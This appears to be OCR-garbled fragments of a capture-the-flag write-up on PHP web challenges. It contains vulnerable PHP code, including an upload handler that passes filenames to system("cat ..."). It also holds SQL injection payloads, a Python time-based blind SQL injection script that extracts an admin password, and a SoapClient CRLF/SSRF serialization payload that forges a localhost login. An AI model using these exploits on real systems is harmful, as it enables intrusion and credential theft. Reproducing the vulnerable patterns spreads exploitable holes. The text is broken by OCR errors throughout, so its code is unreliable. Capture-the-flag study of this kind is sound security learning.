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function update_point($p,$points){
global $link;
$qg = sprintf("UPDATE users SET points=%d%s",

$p,waf($points));

1f(!$query = mysqli_query($link,$q)) return
return ;

}

if('update_point($_POST['flag']l,$_POST['hi']))
echo 'sorry';

veneno@hacker p ~ papt-get install php7

veneno@hacker p ~ PPHP Version ubuntu@
veneno@hacker p ~ papt-get install mysql-server
veneno@hacker p ~ papt-get install mysql-client
veneno@hacker p ~ papt-get install php7.0-mysql

veneno@hacker p ~ papt-get install libapache2-mod-php
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1 update user set name=5|hex(substring((select GROUP_CONCAT(name) from user),1,1))
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update user set name=5|hex(substring((select GROUP_CONCAT(name) from user),1,1))
> 1893 - Table ‘user' is specified twice, both as a target for "UPDATE' and as a separate source for data
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function filter_directory()

{

$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri[ 'query'], $query);

// var_dump($query);

// die();
foreach($keywords as $token)

{
foreach($query as $k => $v)

{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
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<?php
if (FLAG_SIG != 1){

die("you can not visit it directly");
}else {

echo "you can find sth in m4aaannngggeee";

?>

#5214 2| maaaannngggeee.php ff:

<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");

}
include "templates/upload.html";

?>

i) templates/upload.html , KINVE N LAESCAFRIMTT, XM AL JE /222 T upllloadddd.php , FATFEIFEA] LA B IX N
PRI 2



<?php

$allowtype = array("gif","png","

$size = 10000000;

$path = "./upload_b3bb2cfed6371dfeb2dbldbcceb124d3/";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file"]["tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){

die("error:can not move");

jpg");

}
}else{
die("error:not an upload fileik ");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2dbldbcceb124d3/".$filename." | base64 -w 0");
echo "</img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}

?>
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#blind sql injection based time
import requests

import time

import string

url = "http://**¥******/index.phpraction=publish”
cookies = {"PHPSESSID": "uar8v7nv1t6ulb4v4adt9ovmg43"}
data = {

"signature": "",

"mood": @

}

table = string.digits + string.lowercase + string.uppercase

def post():
password =
for i in range(1, 33):
for j in table:

signature = "1 ,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(
3),0))#"%(i, ord(j))
data["signature"] = signature
#tprint(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#tprint(re.text)
except:
password += j
print(password)
break
print(password)

def main():
post()

if _name__ == '__main__
main()
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<?php
$target = "http://127.0.0.1/index.php?action=1login";
$post_string = "username=admin&password=nulladmin&code=mn5ki";

$headers = array(
'X-Forwarded-For: 127.0.0.1"',
'Cookie: PHPSESSID=krm32qg3ed3bujtrpm7fbm3u842’

)s
$soap = new SoapClient(null, array('location'=>$target, 'user_agent'=>'gaoxijiejie~~Content-Type: application/x-
www-form-urlencoded”"'.join('~*',$headers). '~ Content-Length: '.(string)strlen($post_string).'~ 27" .$post_string

,turi'=>"xxx"));

$ser = serialize($soap);

$ser = str_replace("~*", "\r\n", $ser);
$ser = str_replace("&", "&", $ser);
echo bin2hex($ser);

?>
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